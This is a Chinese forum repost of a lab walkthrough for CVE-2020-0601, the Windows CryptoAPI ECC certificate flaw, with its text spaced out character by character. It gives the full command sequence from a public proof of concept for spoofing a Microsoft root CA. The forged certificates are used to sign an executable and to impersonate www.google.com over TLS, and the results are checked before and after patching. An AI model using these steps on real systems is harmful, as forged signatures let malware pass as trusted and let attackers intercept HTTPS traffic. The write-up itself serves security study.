搜索

[28667] 2020-12-04_CVE-2020-0601PoCCryptoAPI漏洞利用

文档创建者：s7ckTeam
浏览次数：70
最后更新：2025-01-19
2020-12-04_CVE-2020-0601PoCCryptoAPI漏洞利用 C V E - 2 0 2 0 - 0 6 0 1   P o C   C r y p t o A P I 漏 洞 利 用 O t s 安 全   2 0 2 0 - 1 2 - 0 4 近 日 N S A 随 手 丢 出 的 “ 王 炸 ” 在 安 全 业 内 引 起 一 片 哗 然 ， 消 息 发 布 后 没 两 天 各 种 p o c 也 是 层 出 不 穷 。 该 漏 洞 位 于 W i n d o w s   C r y p t o A P I ( C r y p t 3 2 . d l l ) 验 证 椭 圆 曲 线 加 密 算 法 证 书 的 方 式 ， 可 能 影 响 信 任 的 一 些 实 例 包 括 （ 不 限 于 ） ： H T T P S 连 接 、 文 件 签 名 和 电 子 邮 件 签 名 、 以 用 户 模 式 启 动 的 签 名 可 执 行 程 序 。 此 外 ， 该 漏 洞 可 以 让 攻 击 者 伪 造 代 码 签 名 证 书 对 恶 意 可 执 行 文 件 进 行 签 名 ， 使 文 件 看 似 来 自 可 信 的 来 源 。 例 如 ， 可 以 让 勒 索 软 件 或 其 他 间 谍 软 件 拥 有 看 似 有 效 的 证 书 ， 从 而 促 使 用 户 安 装 。 中 间 人 攻 击 并 解 密 用 户 连 接 到 受 影 响 软 件 的 机 密 信 息 也 是 主 要 的 攻 击 场 景 之 一 。 本 案 例 基 于 业 内 大 佬 的 P o C 代 码 , 在 实 验 环 境 验 证 打 补 丁 前 后 漏 洞 利 用 的 效 果 ， 仅 用 于 安 全 技 术 的 交 流 学 习 。 漏 洞 的 原 理 涉 及 E C C 椭 圆 曲 线 神 马 的 太 过 复 杂 ， 不 在 本 文 的 范 围 呢 ， 可 以 自 行 搜 索 。 先 下 载 p o c （ h t t p s : / / g i t h u b . c o m / o l l y p w n / C u r v e B a l l ） ， 在 笔 者 写 这 篇 文 章 的 时 候 ， 各 大 杀 毒 软 件 厂 商 应 该 都 已 经 将 这 个 工 程 标 记 为 恶 意 软 件 了 ， 请 各 自 添 加 例 外 ， p o c 里 面 包 含 一 个 证 书 文 件 这 是 一 个 被 W i n d o w s 1 0 默 认 信 任 的 使 用 E C C 的 根 C A ， 任 何 使 用 这 个 C A 签 发 的 证 书 都 会 被 信 任 。 我 们 P O C 的 过 程 在 一 个 k a l i   l i n u x 上 进 行 。 代 码 签 名 代 码 签 名 首 先 从 C A 中 抽 取 公 钥 ， 并 且 利 用 该 漏 洞 修 改 这 个 k e y 将 生 成 的 k e y 保 存 到 文 件 ， 然 后 基 于 这 个 k e y 生 成 一 个 新 的 x 5 0 9 证 书 ， 这 也 就 是 我 们 的 仿 冒 C A 生 成 一 个 新 的 k e y ， 格 式 可 以 根 据 需 要 自 己 选 择 ， 这 里 需 要 生 成 一 个 用 于 代 码 签 名 的 证 书 下 一 步 ， 生 成 一 个 新 的 证 书 签 名 请 求 ( C S R ) ， 这 个 请 求 通 常 会 发 送 给 受 信 任 的 C A ， 但 是 因 为 前 面 我 们 生 成 的 假 冒 的 C A ， 所 以 这 里 我 们 可 以 自 己 对 他 签 名 使 用 仿 冒 的 C A 和 C A   k e y 对 C S R 签 名 ， 这 个 证 书 有 效 期 到 2 0 4 7 年 ， 而 实 际 上 真 正 的 微 软 C A 有 效 期 到 2 0 4 3 年 将 仿 冒 C A 和 我 们 生 成 的 k e y 打 包 保 存 到 一 个 P K C S 1 2 文 件 ， 用 于 P E 的 签 名 最 后 ， 利 用 前 面 生 成 的 证 书 对 P E 文 件 签 名 即 可 最 后 验 证 一 下 效 果 ， 在 未 打 补 丁 的 w i n 1 0 机 器 上 查 看 P E 文 件 属 性 ， 发 现 文 件 的 签 名 是 可 信 的 M i c r o s o f t E C C P r o d u c t R o o t C e r t i f i c a t e A u t h o r i t y . c e r 最 小 版 本 需 要 o p e n s s l   1 . 1 . 0   r u b y   2 . 4 . 0 r u b y   m a i n . r b   . / M i c r o s o f t E C C P r o d u c t R o o t C e r t i f i c a t e A u t h o r i t y . c e r s p o o f e d _ c a . k e y o p e n s s l   r e q   - n e w   - x 5 0 9   - k e y   s p o o f e d _ c a . k e y   - o u t   s p o o f e d _ c a . c r t o p e n s s l   e c p a r a m   - n a m e   s e c p 3 8 4 r 1   - g e n k e y   - n o o u t   - o u t   c e r t . k e y o p e n s s l   r e q   - n e w   - k e y   c e r t . k e y   - o u t   c e r t . c s r   - c o n f i g   o p e n s s l _ c s . c o n f   - r e q e x t s   v 3 _ c s o p e n s s l   x 5 0 9   - r e q   - i n   c e r t . c s r   - C A   s p o o f e d _ c a . c r t   - C A k e y   s p o o f e d _ c a . k e y   - C A c r e a t e s e r i a l   - o u t   c e r t . c r t   - d a y s   1 0 0 0 0   - e x t f i l e   o p e n s s l _ c s . c o n f   - e x t e n s i o n s   v 3 _ c s o p e n s s l   p k c s 1 2   - e x p o r t   - i n   c e r t . c r t   - i n k e y   c e r t . k e y   - c e r t f i l e   s p o o f e d _ c a . c r t   - n a m e   " C o d e   S i g n i n g "   - o u t   c e r t . p 1 2 o s s l s i g n c o d e   s i g n   - p k c s 1 2   c e r t . p 1 2   - n   " S i g n e d   b y   o l l y p w n "   - i n   t e s t - x 6 4 . e x e   - o u t   t e s t _ s i g n e d . e x e
之 后 我 们 安 装 微 软 发 布 的 月 度 安 全 补 丁 ， 再 查 看 结 果 ， 展 示 如 下 ， 文 件 的 签 名 提 示 为 不 可 信 。 S S L / T L S 前 面 的 步 骤 基 本 一 样 ， 区 别 在 于 生 成 签 名 证 书 的 时 候 格 式 会 有 差 别 将 生 成 的 k e y 保 存 到 文 件 ， 然 后 基 于 这 个 k e y 生 成 一 个 新 的 x 5 0 9 证 书 ， 这 也 就 是 我 们 的 仿 冒 C A 生 成 一 个 新 的 k e y ， 格 式 可 以 根 据 需 要 自 己 选 择 ， 这 里 需 要 生 成 一 个 用 于 建 立 S S L 的 证 书 下 一 步 ， 生 成 一 个 新 的 证 书 签 名 请 求 ( C S R ) ， 这 个 请 求 通 常 会 发 送 给 受 信 任 的 C A ， 但 是 因 为 前 面 我 们 生 成 的 假 冒 的 C A ， 所 以 这 里 我 们 可 以 自 己 对 他 签 名 如 果 你 希 望 修 改 域 名 ， 可 以 编 辑 里 面 的 内 容 签 发 证 书 r u b y   m a i n . r b   . / M i c r o s o f t E C C P r o d u c t R o o t C e r t i f i c a t e A u t h o r i t y . c e r s p o o f e d _ c a . k e y o p e n s s l   r e q   - n e w   - x 5 0 9   - k e y   s p o o f e d _ c a . k e y   - o u t   s p o o f e d _ c a . c r t o p e n s s l   e c p a r a m   - n a m e   s e c p 3 8 4 r 1   - g e n k e y   - n o o u t   - o u t   c e r t . k e y o p e n s s l _ t l s . c o n f C N   =   w w w . g o o g l e . c o m o p e n s s l   r e q   - n e w   - k e y   c e r t . k e y   - o u t   c e r t . c s r   - c o n f i g   o p e n s s l _ t l s . c o n f   - r e q e x t s   v 3 _ t l s
接 下 来 便 可 以 配 置 生 成 的 , 和 到 你 的 应 用 容 器 ， 坐 着 还 很 贴 心 的 准 备 了 示 例 t l s / i n d e x . j s 这 个 示 例 ， 如 果 是 在 k a l i 上 面 搭 的 话 ， 需 要 安 装 一 下 n p m 和 n o d e j s ( 默 认 安 装 ) ， 然 后 执 行 既 可 以 启 动 容 器 。 浏 览 器 访 问 该 服 务 器 的 8 0 8 0 端 口 ， 如 h t t p s : / / i p : 8 0 8 0 未 打 补 丁 的 时 候 浏 览 器 不 会 提 供 任 何 异 常 ， 可 以 看 到 H e l l o   W o r l d （ 忘 了 截 图 了 ） 。 。 。 打 上 补 丁 以 后 ， 浏 览 器 提 示 证 书 不 可 信 参 考 文 章 ： 参 考 文 章 ： h t t p s : / / g i t h u b . c o m / o l l y p w n / C V E - 2 0 2 0 - 0 6 0 1 h t t p s : / / r e s e a r c h . k u d e l s k i s e c u r i t y . c o m / 2 0 2 0 / 0 1 / 1 5 / c v e - 2 0 2 0 - 0 6 0 1 - t h e - c h a i n o f f o o l s - a t t a c k - e x p l a i n e d - w i t h - p o c / o p e n s s l   x 5 0 9   - r e q   - i n   c e r t . c s r   - C A   s p o o f e d _ c a . c r t   - C A k e y   s p o o f e d _ c a . k e y   - C A c r e a t e s e r i a l   - o u t   c e r t . c r t   - d a y s   1 0 0 0 0   - e x t f i l e   o p e n s s l _ t l s . c o n f   - e x t e n s i o n s   v 3 _ t l s c e r t . c r t c e r t . k e y s p o o f e d _ c a . c r t n o d e   i n d e x . j s 作 者 ： 半 夜 菊 花 茶 链 接 ： h t t p s : / / w w w . j i a n s h u . c o m / p / c 8 9 f b 4 2 e b 9 9 f 来 源 ： 简 书
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理